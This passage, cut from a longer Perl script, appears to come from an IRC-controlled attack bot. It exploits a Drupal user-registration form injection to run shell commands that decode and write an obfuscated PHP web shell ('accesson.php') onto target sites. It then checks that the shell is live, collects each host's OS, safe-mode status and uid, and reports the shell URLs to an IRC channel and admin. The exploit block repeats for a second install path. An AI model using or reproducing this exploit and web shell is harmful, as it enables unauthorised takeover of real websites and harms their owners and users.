ZVhwMkd0TUZRR1RDTEdQUGU3KzBpcytWU3NjT1dCMmZUc2pUdCs4U0kwVUQzd3NSV3dzYTErcjRibXFZc3cxL3BUYjJVcUhJN1hMVXdhUnMrQk05MHhpWXkxY2xUV2xJMTVqRlRMdU5xNGhZWUNhSW1adjJsTDV5UlVGd2hFQmVncmJSSnRqNkM1ekNpU1hFZW41SnhGMUJvY3NoYUNlQ2h1eGFIb3R1WFdOWkhNUzREVjR6NVNvMjNKTkllYUFoZFpIVFk2VXZzYjRRamlGWFErYjQzYnFzOW83UGVwYmdWc0Zvdngxc0tHNHB3S09aN2p4SktheVdFK0w1V3IyeTBaMTIyd2dBM1FLcW9Pa3RnLzRXMWFyeWNmaWRlUElwN2lyU0N6VGJGN2FhQ2o3ZzZhZmt0UXBMNklWREpzYTVPMzdlSyt5dFJaNTVaajl4UEswaW9LdDkxUFU4bmdaSDRGSDdSQjVRNnZMYkZLMXM2UXFTbmVJc3F6OXo5VjJRMDYvdEgrL3Btek5qNEc2YTNvQnI3WVJxOWs4bXFRaGYxNmk4NnJpNlc0elBIdmVkZEpOUE5VUjBGQmFuZ0NCRDVxOFVZR0FIaExsdWt0bjBvcHR1YmJ1d0NScVBxL2g0dHpVS1V3YXhTbk9ZYU9iUEluU1dYUWFGcW1RT1JkTDhrUHB2S1U4dllieXlTQVptbEgydVpkN3h5aE8raHdtL0pUUlhKT0lrc3VTOHZXclViOHcxMytqeDg2dEMvai9vY3BlMk1tUWpudDUwUXZoaWE4bmFyaFFmQ0lrUzdHRVZLNVA2QjNrRnFtQUovTGxWTlVLMFhiODIrRzJiODZ1REk4bVRVbXA3K2ExRU54eGRIU3czMlVVKzk3Nkp5U2dMakxzS2VkNDdLb2pBZnQydHdncDRkOFg1YzVVSHdUZjZXQThVeFRoNlRqSTA2bmYzcGlUbTBrRThocUg2Tm5MRzVpUnFJbkxRV29OdUxzOHlUa0ZhWmFCcVdsRW54MTZiSWthUDdQTkpyZ3RUcFBhZmxVdDRLTURWQWRXbGZ2ZTdHQ2JBTFZzK0tnT1lFaVdsMDZ1dEVBOVZKclN3NkpQUDl0UktpdG4wSWNTNjUrQUtTaEd1M1IxYmpnYnArOEVGeStRK2orT3FzekNyTEhmTktKVE80Y0VWTVgrMGZMdEgzZS9RRmx6RzQ2ODNsTDdjekJyWGxsb3FneGF5bUYyMFBQSnN2NFlaR0dtdTJTSnlvRGR3eFR5c1RkdlpGelZaZjVqd2F1TllLSGYrblBVM1pRam9oWVRPM3JZeXJHMXJwL1Y1Y0ZmMnE3WTBxcnpnaU1PMXJWUkpodFAydWNEQ3QwWUF0WDQ4M1A3YUZyWFhsaTVPOUdrY2JuSzgzUlF3YzIxc25ubWp1dEFyK3QzQVk5VWp5RjdvL0dnY0dpYVJkenNjSHR0dms0Y2tXRmdOallVZDE2elFXVXFMYU5aUG4zcEs2WXgrWk9BS0tjODg3SWdiWHoySVJHeXhEb3EyNy9LejZMcHY0ZXlIQldUNWpsbDR6SUVRSktaaW9JTzBHSlVDNkFoRC80WXpyNkt3UDM2THhqUElDeHJkODRrenJmcUY4MDJHRXVpejdRUDFCR0xYOFVpTGhmTERCQ3c3dDZrZE1sZmhWRzMvZG9SbVNtL0FXc0d5c1FmekZHT095d01SMWlOOTh0NGpSb2hScGp2aTRjd3hWcFYxZ2NVSTFZZC9TajVJZ1FTSlVsSEIvOEpWdkY0bXI2YjZUeWhRT2d0VTZQektIbTREeDg5Q1AwN2RuajBGZEw0emp0eFdsdVQrV21KQ2J4VDM2NDByTS9qVWNMa01rYVYzWEg0Qk1BNzNXVmRHQ0JRRWRJelUxZDN3aDJqRnFVTWwzOXJuRk43TDVtaUdWc0luYUpxQlltZkpUUHpOeEp5anJBSGdYUHlCQVN1b05GMUlldlkrOXFWWnJRbVJMdkVjOWtGRnRNR01pQ25yaENCV25nQnd2a0F2Ykk4UUpiVVd4MWt3V1VSVGdpbEFqaFRZRjdna3N4V2N3T2FVdlBxbXpiZUhjSVN1QXl6bUg4ckxjRkhrNnYzODl1N05VQ21qdlNXVGhyT2xCQlJnWmMzWUpUYUFQTUVIWURmMldRQ0F3M0lKOS9KRXA5ZUllbmxoZmQ2d1p4NTA0RWk5VGtGc2dDNnJFd0UrV3ZrMTFhajlmUjBNNmJoRzl0L3k0OXZpczlTRDNKQlNhQXlTYURkQkxSNm8zR3dhd01vMmNrQWo4TS9PYlA4ak1FMnBlYitCZ3loQ09DM3EzZi9xQ2U0R1FtT3M1cXlLaUlzb24wUUdjdHJXZkUxTlN1b01Qc0dNdlNjOFQvdUg3N29ZQlhmdlM2VTlyNUxER2w4ZXlON2o4bHgrU2ZtMWduOGlZUDlablBmdXo3cTUrdkYxTHZTSDRjSEIrc3hEd0U5djRsS1NjK0FFQkh4Y1FkOWFqU01GcGd5QnFJL3AwbCtwOXk0K041Nm8yZm9SOGxnT0lWNGdXWFpCWS8yU0xjcmhDVGw3QStrSnFUU3NGTTBmT2N0R3o1RVBkZGlNSit0SWluYnZ4Q1FuMHB2elcwWk5ITlo5bUxuOEdKQmQ2WFR6MEIvZWEzcXFZejk1dHVoYlllOCtGTnhvMnlSUDZGYWhEK0RkU0ViYUxveUp0VmRQNGFvaE1TUmV4V0FzZEJZNVc0bEFIZ2x3NHJ6ZjJsWVNDdUpRMEhQbS9OaTNwa3NNa0pUbGwzK1VIekt6TW44Wm8zV3RVZXMyOUhtbHRrWTBEdGZTanJXYWU4YUdXU2ZvNllXdTVhVFdFWHZaaS9HbDZZUGpPWFFqQk1NZVFoOVUxRGxJRmJuM0hhNHltSXFLNktOK09MTWg3ZlFCYWdPKzZzSVRTY0hHU3Q1TjZRb1UyeUZ1YUpVTSs2clpsQm94Y0NTRXBUVnpaTm9Wdzh0dUFSTnRXaXJEaUp3K2MwcDJ0QjQyTTRJMlBkVGVOWFFkMWtHYnFTbDVYRmswVjFubE5hMy8zRkM0UnNTdXNaSTNlRklqKytwekttTExvcFQwOTg1eU93ZmVhTTh0c1dmQjJrSUhlTGtyRUtuOEtCYXozT3YvVlBkWUVCSS9IV1ZLeVh6Y3FWakdpUCtuS1JPdkhHWWh6VVlEOFNSaVhoaUQ2Snp2Z1ZCczhIRTE0bCtjb2w5YjhnRkQ1dm00OG1PcmZSZUU0UVdrLzVuZUw2ZG9aMU5pVWFzV012cFdJWDZnNENxYnlXekV5ZFB4dUtXM090VlVla1JvTE54WjRoNkJyaW1EN0tuV1dNVlRhL3FYVldZUUxiUTFJWjFXUW5Ia2UwQnZpUVJSUVlkbnpiTExNNE96QUV6UlFvSnBwVmRSekRFUTI3UUZEbTFmaDk5dGFEWHpUbFlhUmJTSXVWV1I2enphOGNhMll5YXhxdlpMb3VXYkhkTzVZOUpKVXVyZWtzNnhZSTNtTXQyU0g5Z0V2Z2JSUDBKQkRXQWdXSnYzS1lGRTlWeE1pUytjbEdTSnRzbUVmYUZYN25XazRYOGhUb1FvcXM1WncxRFB5YS9ob3JVVHBXNGRqZnF4ZWJBWXBkdjNzNnZ0YStSaWR4Zld2N2UxSmsxdXpmR29hd0JqOHU4ZE5DUnhodVFrdnVTTzNYa3hxTlI5ZEhyVm9WM0VLdWI5UGxoaDZuWDFQNDJhZDRkZ2dZRks3SlZjcjVMdVIwUWcyd3N4Tk9SYVhvM1cvWW5Ta3dtMSsyMVFSN2xabWhnT2NxbzJpZGo5ZThXaHEzdWU2ZWxnK2pzaVc0ZFBHOXhsOEdWYkNNSE1IdXdPTHFJVjBTdHg4NVhJaGZ5alJLNytXdHM5bTY3bTU5bEVCelJzOUtMbkNFZlc0djhSaENjTnVER1RMRUF4YldKdUIyNXlXbVYzQ2VqYWpHL3paRWVnMmlOSTMwQVV4Q0dCN2pTSVZTS0lYYTdHdnlOd1FERkhxd0g2dDVsWmFvWU9rTkRBWXNsWDVLQ3phNWQ3cFlQNXZ2Z05RbDNUa2xlWVlLc1Vab21lcjN0S3VpNzdwc3AvazdlQzhBazlMVEdFQXZqQmo4RU9QRWR5TkpOVDdJcFA0cXhxOHUzM0hVbzBCUUhzZS96S1lLSE1JSzBxMGNpTnVKYUt2bjFLQm1UdlVyeDJuV0J1MnBjZVNDaGpHZlFBTG55ZG12RlZnVy9PSmR0K1JUdUN1bW9LcHdtc1VkWWRYNnZiZXhpMHQ2L01Dei9lZFVYa2VRMHN4Z01LdzY5YzR6M0ZEeU9BV0NFK3JkQkNWRzJNRlQvRXI2dWNuWmNPQXlWZmI2a2g0aTlOMXMvdzRFUE9QSjk1UGYxUkNaTHI3MEtldDFKN1A0RnQ1TUYzRFR5WXVNZ3oySWJLOUVYamd6K3RaT0E0ckJONmtmblF4RU9lenZjeTdRY09FdDZrcTQ0ejNZc2c5ckhWVkFwcEM2YVFxcE5FQmUycWJWQlcwQ21iczdLUThrWXlvODBsVEZSdm5HMzFiU2Z6a01WdHBES0s0d21rcXREdFAxVVN4NE5kTnFjUGNjOHA4VG1oMzU1TDlpYkF6Y0RDdUgxemdPM2xudjNmdGx6V0NTL2gzclYvUmNaK0ZqaFFib29ucjhuQXdld215STVMUWlCRnh4VWw2dTk2a3ZJTDZYTkVZZk9rR2Yrb0pBN3liMTlSWnpvcVNLWjZmdGFIa05wcTkvSktVWVVYZFlpWG1xK0QxMTJ1ZE1vSXk2WXRRenNpYlg1ZjlIWmkrYXNJbzRnRmZwb3VVRkppUWdYamIxMlZBMDVyN1dZc05ZWVhQRGZZdUR2TDRrU3Q3UHJKRlJWaVJKdTR4aGxqNjJEakRPVWRIdk04L0I2bkc4a1Z5NStPZENsdzNmOEhXKy8zN1ArL252LzhDJykpKSkpOwo/Pg==+%7C+base64+-d+%7C+tee+accesson.php";
my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_register_form','_drupal_ajax' => '1','mail[a][#post_render][]' => 'exec','mail[a][#type]' => 'markup','mail[a][#markup]' => $wget]);
$addblockup2="http://".$site."accesson.php";
my $checkaddblock2 = $ua->get("$addblockup2")->content;
if($checkaddblock2 =~/
/) {
my $shell2 = "http://".$site."accesson.php";
my $shell3 = "http://".$site."vuln.php";
my $cekap2 = &get_content($shell2);
if ($cekap2 =~ /JEMBER Shell/i) {
&get_content($shell2);
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap2 =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$drupallogo 15,1$engine 9<4=9>11 Upload OK 15[SafeMode=$safe] [OS=$os] uid=$uid");
if ($nick eq $admin) {
&msg("$admin","15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
} else {
#&msg("$nick","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
}
my $cekap3 = &get_content($shell3);
if ($cekap3 =~ /Vuln!!/i) {
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell3 ");
}
}
}
sleep(3);
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_verify_mode => LWP::Protocol::socks::SSL_VERIFY_NONE });
$ua->timeout(20);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0");
my $addblockurl2 = "http://".$site."user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
my $wget = "echo+PD9waHAKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdMVXZIRHF4VkV2eWEwY3plOEZON3dudnZ1YXhqamZlZXJ4OXIya20zR3FnaXE5SlNVOVpGRC9jL1czOGs2ejJVeXovajhGc3c1SC96TXFYejhrSXhORWhrLy8vbVlsSmJZQ3RpU09jUy80S2NqUHdMTW55ZGZpOVNlVE1ZaFAweEhYdlc0ZGpqNzhnejhyNFlYei9yaGdzRkN2MzNSUEs5RmQrRFd1M3ZGZEZTT0RySkswa21IbUhOTVkrNzFmdjQvYTUyQWZqb3FyMlhBMTQvZFU5VDdVT3VjNnpxUloyRkNKVTFmdHdYdGg1Qml0UUpSSE1JNmNrSTFMdkVpaWJ6bzF1eWVZVWtwaHE2NzVMcEoxTmVNdFdoRWwwS0szRm03aXdCcHRqbmhoSVBBdUk2VWhzWWRuYlJuR3NxSlgxcjVWV3VYSnBUeXR4ZVNNclNLWEU2RUMzb083RHdGTTQ4cjhoUVRPVlhxOXdNNmtJMW5pdjQ0QW1CejZ2VWFHeVI3aHp1Q3JhTlZ2enVuVHZ2Mk9wRWNWbFVmUWJzMHZCaDZralZvQUdOdndQWUx1RWJXNGFmK2M2RW9LTVdrZDNYOHlESUlQdDlSWml2TlIwM2xBZjMvVGVIdE1lZGNjMEZySEtBWlpVQXFUQzBCb3lRUmJ0VWtCZDVGbk9PU1RPcmNzS01pdVJCQTRPaHZzU2Z1eWp0WmRLb2pYL2dyWkVWWTM1cVF6NFJ6K3hVQTZmNjZOWE8xQndVYVkyNWRsRlQ3U1dhS2JhNTNOWlRPbFIxWTJQbm5NYzNweHlsdDN5dXREUXlRRjRoZWhyRDlabXR3OXlNU0RNQVJ5eU5rNzFKcGw5eTREdnVCcnlLZVByN2hnL0VKRzJ3MFgxQWJ4a2NmUSt1M1RNTXc4T1VZU2E1N0R1bGM3SEJXWGlZTVlQYnBUNkxGMURTWXVTV3grVVlXdWtraDJjTFh3azFFUzR6Um1RbXBZYzVtMWR0U3hBcFM4MXplejliQzdGNllsZkk1NjBmTVEwMFpIWFZ5Q0pVaUEyaFIxSkpuK3lkYnB0N2taQ0E4Z1NoTkZDbngzZnlwUVg0T1ViMmdEb0V4RmE5dnFNRnRORXBRK0NsenhycjB4L1M5YWxlNmRqYzY5TkwyNGZQK2o4NWJaL1o0WmNLRnhJQ0dYeWxIaHZ5RE9PeDUzRTNFdkFPOEp4Y0xHL3V2Um9KVkZOV2I1WDd2SndrU1F0RDZPcXRQMUNFS3lKMklIVmc1QjB0MzBvV0VETnlyQkdlTDdDaFU5THc4N3EvelBHQ2dmSU1RMTBNSHR1cXhtU3pMMmVlcUgwblQ1UmpkVFQ4QTgvRjNvYzlORFltcTlVOVo1dHFrMVAxNERLaS9SU1FZenlTZXZiT3hQc3I4NGpMams4bWFYclNUR2QwbVUrREdDUjE5bGNGOThTZnIwMnRWL2V0QW9jU1ZpTWxza0xVSFlUazd4VUlSMmovODBCVHB3d040bVVDQ0xsNkkvcWVwd3pLQkhtajYvMEF1eWFqM0hndlcyWEdLdFJlWXBYak5ZbWhmakFpYW51UW5xemNlc2x4RGRRYjhsUHovcENFY3BkZnlWdFdVc2ZCNC9NVlBlSENlRDNuM2lMeFdQVXBCSWZDL0RTMjdxTmduRnhvOHN5dEFQNEFwWktYOFdGSyttcG4wOWlHakNsQzBwN2lodzRFcjVlQjQvNGtzSmUzUFMwc08rRVh0M1BXdXI2NXdCMERmV1JmRHh1WmV6MUkxL05Wb3o4ZGFTK3I3TUVaNU1MR00wdDE2anBIUCs2STJLWVc4cUFJaE0wellRUU9TVmZQMWVQeXB3TXU1MTRxSkhtck5IRmJ3RDdZTW5KMDJrNWdaeEJGWU5WQ09pNmltU1pvWnlkSVRqRGN2N2J3c3RZNXFKMElyWEQ3TjV1VXhKVDE0VHg1R3A5N0Q4NGQ3bWpURDlwcXpTWHlxZ051MkFuVktGTkdPdVN1TEJrZm1weStqUE4rajRJK3JRNzliVTBmTm8wUks5K1UzZ3cwRkwreUlzOXhaVWd0ZTZqdkpBNlJrdzkwRExoM3VJU3A2Wm5tVDdaZ29Sbi9BTmdBeVdIb2hBUnhETitjK3d5TmxES3VPTGo2Q1ZGRlE5T3BOVlVCYzBGQjk2WFlUYmgvanhkUTRZQ1lzeTdLQTB1RjBqMHVrcTVPMm52MmdWSlF3LzVpbkgvaGx6Rjh4UWpXclRJUk9ka0hmWnBxWDByMVlWVnhzbVBlTVA2YzRiR0NEdUdpc2YwZ3R3cFhNTFAwQks4bmtHLzJtcjdMY2o5V29VZy9ia2w3bFVSUnNqcTBaaDRVMkhnNU9pRUM3blFUOEJuVjlFQ2RUT2VENXNDOWQ5VGpLeUJnY2QyR3NobFczdktPdEMycXRGeVFjSFJraEt4ZVhwMkd0TUZRR1RDTEdQUGU3KzBpcytWU3NjT1dCMmZUc2pUdCs4U0kwVUQzd3NSV3dzYTErcjRibXFZc3cxL3BUYjJVcUhJN1hMVXdhUnMrQk05MHhpWXkxY2xUV2xJMTVqRlRMdU5xNGhZWUNhSW1adjJsTDV5UlVGd2hFQmVncmJSSnRqNkM1ekNpU1hFZW41SnhGMUJvY3NoYUNlQ2h1eGFIb3R1WFdOWkhNUzREVjR6NVNvMjNKTkllYUFoZFpIVFk2VXZzYjRRamlGWFErYjQzYnFzOW83UGVwYmdWc0Zvdngxc0tHNHB3S09aN2p4SktheVdFK0w1V3IyeTBaMTIyd2dBM1FLcW9Pa3RnLzRXMWFyeWNmaWRlUElwN2lyU0N6VGJGN2FhQ2o3ZzZhZmt0UXBMNklWREpzYTVPMzdlSyt5dFJaNTVaajl4UEswaW9LdDkxUFU4bmdaSDRGSDdSQjVRNnZMYkZLMXM2UXFTbmVJc3F6OXo5VjJRMDYvdEgrL3Btek5qNEc2YTNvQnI3WVJxOWs4bXFRaGYxNmk4NnJpNlc0elBIdmVkZEpOUE5VUjBGQmFuZ0NCRDVxOFVZR0FIaExsdWt0bjBvcHR1YmJ1d0NScVBxL2g0dHpVS1V3YXhTbk9ZYU9iUEluU1dYUWFGcW1RT1JkTDhrUHB2S1U4dllieXlTQVptbEgydVpkN3h5aE8raHdtL0pUUlhKT0lrc3VTOHZXclViOHcxMytqeDg2dEMvai9vY3BlMk1tUWpudDUwUXZoaWE4bmFyaFFmQ0lrUzdHRVZLNVA2QjNrRnFtQUovTGxWTlVLMFhiODIrRzJiODZ1REk4bVRVbXA3K2ExRU54eGRIU3czMlVVKzk3Nkp5U2dMakxzS2VkNDdLb2pBZnQydHdncDRkOFg1YzVVSHdUZjZXQThVeFRoNlRqSTA2bmYzcGlUbTBrRThocUg2Tm5MRzVpUnFJbkxRV29OdUxzOHlUa0ZhWmFCcVdsRW54MTZiSWthUDdQTkpyZ3RUcFBhZmxVdDRLTURWQWRXbGZ2ZTdHQ2JBTFZzK0tnT1lFaVdsMDZ1dEVBOVZKclN3NkpQUDl0UktpdG4wSWNTNjUrQUtTaEd1M1IxYmpnYnArOEVGeStRK2orT3FzekNyTEhmTktKVE80Y0VWTVgrMGZMdEgzZS9RRmx6RzQ2ODNsTDdjekJyWGxsb3FneGF5bUYyMFBQSnN2NFlaR0dtdTJTSnlvRGR3eFR5c1RkdlpGelZaZjVqd2F1TllLSGYrblBVM1pRam9oWVRPM3JZeXJHMXJwL1Y1Y0ZmMnE3WTBxcnpnaU1PMXJWUkpodFAydWNEQ3QwWUF0WDQ4M1A3YUZyWFhsaTVPOUdrY2JuSzgzUlF3YzIxc25ubWp1dEFyK3QzQVk5VWp5RjdvL0dnY0dpYVJkenNjSHR0dms0Y2tXRmdOallVZDE2elFXVXFMYU5aUG4zcEs2WXgrWk9BS0tjODg3SWdiWHoySVJHeXhEb3EyNy9LejZMcHY0ZXlIQldUNWpsbDR6SUVRSktaaW9JTzBHSlVDNkFoRC80WXpyNkt3UDM2THhqUElDeHJkODRrenJmcUY4MDJHRXVpejdRUDFCR0xYOFVpTGhmTERCQ3c3dDZrZE1sZmhWRzMvZG9SbVNtL0FXc0d5c1FmekZHT095d01SMWlOOTh0NGpSb2hScGp2aTRjd3hWcFYxZ2NVSTFZZC9TajVJZ1FTSlVsSEIvOEpWdkY0bXI2YjZUeWhRT2d0VTZQektIbTREeDg5Q1AwN2RuajBGZEw0emp0eFdsdVQrV21KQ2J4VDM2NDByTS9qVWNMa01rYVYzWEg0Qk1BNzNXVmRHQ0JRRWRJelUxZDN3aDJqRnFVTWwzOXJuRk43TDVtaUdWc0luYUpxQlltZkpUUHpOeEp5anJBSGdYUHlCQVN1b05GMUlldlkrOXFWWnJRbVJMdkVjOWtGRnRNR01pQ25yaENCV25nQnd2a0F2Ykk4UUpiVVd4MWt3V1VSVGdpbEFqaFRZRjdna3N4V2N3T2FVdlBxbXpiZUhjSVN1QXl6bUg4ckxjRkhrNnYzODl1N05VQ21qdlNXVGhyT2xCQlJnWmMzWUpUYUFQTUVIWURmMldRQ0F3M0lKOS9KRXA5ZUllbmxoZmQ2d1p4NTA0RWk5VGtGc2dDNnJFd0UrV3ZrMTFhajlmUjBNNmJoRzl0L3k0OXZpczlTRDNKQlNhQXlTYURkQkxSNm8zR3dhd01vMmNrQWo4TS9PYlA4ak1FMnBlYitCZ3loQ09DM3EzZi9xQ2U0R1FtT3M1cXlLaUlzb24wUUdjdHJXZkUxTlN1b01Qc0dNdlNjOFQvdUg3N29ZQlhmdlM2VTlyNUxER2w4ZXlON2o4bHgrU2ZtMWduOGlZUDlablBmdXo3cTUrdkYxTHZTSDRjSEIrc3hEd0U5djRsS1NjK0FFQkh4Y1FkOWFqU01GcGd5QnFJL3AwbCtwOXk0K041Nm8yZm9SOGxnT0lWNGdXWFpCWS8yU0xjcmhDVGw3QStrSnFUU3NGTTBmT2N0R3o1RVBkZGlNSit0SWluYnZ4Q1FuMHB2elcwWk5ITlo5bUxuOEdKQmQ2WFR6MEIvZWEzcXFZejk1dHVoYlllOCtGTnhvMnlSUDZGYWhEK0RkU0ViYUxveUp0VmRQNGFvaE1TUmV4V0FzZEJZNVc0bEFIZ2x3NHJ6ZjJsWVNDdUpRMEhQbS9OaTNwa3NNa0pUbGwzK1VIekt6TW44Wm8zV3RVZXMyOUhtbHRrWTBEdGZTanJXYWU4YUdXU2ZvNllXdTVhVFdFWHZaaS9HbDZZUGpPWFFqQk1NZVFoOVUxRGxJRmJuM0hhNHltSXFLNktOK09MTWg3ZlFCYWdPKzZzSVRTY0hHU3Q1TjZRb1UyeUZ1YUpVTSs2clpsQm94Y0NTRXBUVnpaTm9Wdzh0dUFSTnRXaXJEaUp3K2MwcDJ0QjQyTTRJMlBkVGVOWFFkMWtHYnFTbDVYRmswVjFubE5hMy8zRkM0UnNTdXNaSTNlRklqKytwekttTExvcFQwOTg1eU93ZmVhTTh0c1dmQjJrSUhlTGtyRUtuOEtCYXozT3YvVlBkWUVCSS9IV1ZLeVh6Y3FWakdpUCtuS1JPdkhHWWh6VVlEOFNSaVhoaUQ2Snp2Z1ZCczhIRTE0bCtjb2w5YjhnRkQ1dm00OG1PcmZSZUU0UVdrLzVuZUw2ZG9aMU5pVWFzV012cFdJWDZnNENxYnlXekV5ZFB4dUtXM090VlVla1JvTE54WjRoNkJyaW1EN0tuV1dNVlRhL3FYVldZUUxiUTFJWjFXUW5Ia2UwQnZpUVJSUVlkbnpiTExNNE96QUV6UlFvSnBwVmRSekRFUTI3UUZEbTFmaDk5dGFEWHpUbFlhUmJTSXVWV1I2enphOGNhMll5YXhxdlpMb3VXYkhkTzVZOUpKVXVyZWtzNnhZSTNtTXQyU0g5Z0V2Z2JSUDBKQkRXQWdXSnYzS1lGRTlWeE1pUytjbEdTSnRzbUVmYUZYN25XazRYOGhUb1FvcXM1WncxRFB5YS9ob3JVVHBXNGRqZnF4ZWJBWXBkdjNzNnZ0YStSaWR4Zld2N2UxSmsxdXpmR29hd0JqOHU4ZE5DUnhodVFrdnVTTzNYa3hxTlI5ZEhyVm9WM0VLdWI5UGxoaDZuWDFQNDJhZDRkZ2dZRks3SlZjcjVMdVIwUWcyd3N4Tk9SYVhvM1cvWW5Ta3dtMSsyMVFSN2xabWhnT2NxbzJpZGo5ZThXaHEzdWU2ZWxnK2pzaVc0ZFBHOXhsOEdWYkNNSE1IdXdPTHFJVjBTdHg4NVhJaGZ5alJLNytXdHM5bTY3bTU5bEVCelJzOUtMbkNFZlc0djhSaENjTnVER1RMRUF4YldKdUIyNXlXbVYzQ2VqYWpHL3paRWVnMmlOSTMwQVV4Q0dCN2pTSVZTS0lYYTdHdnlOd1FERkhxd0g2dDVsWmFvWU9rTkRBWXNsWDVLQ3phNWQ3cFlQNXZ2Z05RbDNUa2xlWVlLc1Vab21lcjN0S3VpNzdwc3AvazdlQzhBazlMVEdFQXZqQmo4RU9QRWR5TkpOVDdJcFA0cXhxOHUzM0hVbzBCUUhzZS96S1lLSE1JSzBxMGNpTnVKYUt2bjFLQm1UdlVyeDJuV0J1MnBjZVNDaGpHZlFBTG55ZG12RlZnVy9PSmR0K1JUdUN1bW9LcHdtc1VkWWRYNnZiZXhpMHQ2L01Dei9lZFVYa2VRMHN4Z01LdzY5YzR6M0ZEeU9BV0NFK3JkQkNWRzJNRlQvRXI2dWNuWmNPQXlWZmI2a2g0aTlOMXMvdzRFUE9QSjk1UGYxUkNaTHI3MEtldDFKN1A0RnQ1TUYzRFR5WXVNZ3oySWJLOUVYamd6K3RaT0E0ckJONmtmblF4RU9lenZjeTdRY09FdDZrcTQ0ejNZc2c5ckhWVkFwcEM2YVFxcE5FQmUycWJWQlcwQ21iczdLUThrWXlvODBsVEZSdm5HMzFiU2Z6a01WdHBES0s0d21rcXREdFAxVVN4NE5kTnFjUGNjOHA4VG1oMzU1TDlpYkF6Y0RDdUgxemdPM2xudjNmdGx6V0NTL2gzclYvUmNaK0ZqaFFib29ucjhuQXdld215STVMUWlCRnh4VWw2dTk2a3ZJTDZYTkVZZk9rR2Yrb0pBN3liMTlSWnpvcVNLWjZmdGFIa05wcTkvSktVWVVYZFlpWG1xK0QxMTJ1ZE1vSXk2WXRRenNpYlg1ZjlIWmkrYXNJbzRnRmZwb3VVRkppUWdYamIxMlZBMDVyN1dZc05ZWVhQRGZZdUR2TDRrU3Q3UHJKRlJWaVJKdTR4aGxqNjJEakRPVWRIdk04L0I2bkc4a1Z5NStPZENsdzNmOEhXKy8zN1ArL252LzhDJykpKSkpOwo/Pg==+%7C+base64+-d+%7C+tee+sites/default/accesson.php";
my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_register_form','_drupal_ajax' => '1','mail[a][#post_render][]' => 'exec','mail[a][#type]' => 'markup','mail[a][#markup]' => $wget]);
$addblockup2="http://".$site."sites/default/accesson.php";
my $checkaddblock2 = $ua->get("$addblockup2")->content;
if($checkaddblock2 =~/
/) {
my $shell2 = "http://".$site."sites/default/accesson.php";
my $shell3 = "http://".$site."sites/default/vuln.php";
my $cekap2 = &get_content($shell2);
if ($cekap2 =~ /JEMBER Shell/i) {
&get_content($shell2);
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap2 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap2 =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap2 =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$channel","$drupallogo 15,1$engine 9<4=9>11 Upload OK 15[SafeMode=$safe] [OS=$os] uid=$uid");
if ($nick eq $admin) {
&msg("$admin","15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
} else {
#&msg("$nick","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell2 15[SafeMode=$safe] [OS=$os] uid=$uid");
}
my $cekap3 = &get_content($shell3);
if ($cekap3 =~ /Vuln!!/i) {
&msg("$admin","$drupallogo 15,1$engine 4<9=4>9 $shell3 ");
}
}
}
sleep(3);
my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0, SSL_verify_mode => LWP::Protocol::socks::SSL_VERIFY_NONE });
$ua->timeout(20);
$ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0");
my $addblockurl2 = "http://".$site."user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax";
my $wget = "echo+PD9waHAKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCdMVXZIRHF4VkV2eWEwY3plOEZON3dudnZ1YXhqamZlZXJ4OXIya20zR3FnaXE5SlNVOVpGRC9jL1czOGs2ejJVeXovajhGc3c1SC96TXFYejhrSXhORWhrLy8vbVlsSmJZQ3RpU09jUy80S2NqUHdMTW55ZGZpOVNlVE1ZaFAweEhYdlc0ZGpqNzhnejhyNFlYei9yaGdzRkN2MzNSUEs5RmQrRFd1M3ZGZEZTT0RySkswa21IbUhOTVkrNzFmdjQvYTUyQWZqb3FyMlhBMTQvZFU5VDdVT3VjNnpxUloyRkNKVTFmdHdYdGg1Qml0UUpSSE1JNmNrSTFMdkVpaWJ6bzF1eWVZVWtwaHE2NzVMcEoxTmVNdFdoRWwwS0szRm03aXdCcHRqbmhoSVBBdUk2VWhzWWRuYlJuR3NxSlgxcjVWV3VYSnBUeXR4ZVNNclNLWEU2RUMzb083RHdGTTQ4cjhoUVRPVlhxOXdNNmtJMW5pdjQ0QW1CejZ2VWFHeVI3aHp1Q3JhTlZ2enVuVHZ2Mk9wRWNWbFVmUWJzMHZCaDZralZvQUdOdndQWUx1RWJXNGFmK2M2RW9LTVdrZDNYOHlESUlQdDlSWml2TlIwM2xBZjMvVGVIdE1lZGNjMEZySEtBWlpVQXFUQzBCb3lRUmJ0VWtCZDVGbk9PU1RPcmNzS01pdVJCQTRPaHZzU2Z1eWp0WmRLb2pYL2dyWkVWWTM1cVF6NFJ6K3hVQTZmNjZOWE8xQndVYVkyNWRsRlQ3U1dhS2JhNTNOWlRPbFIxWT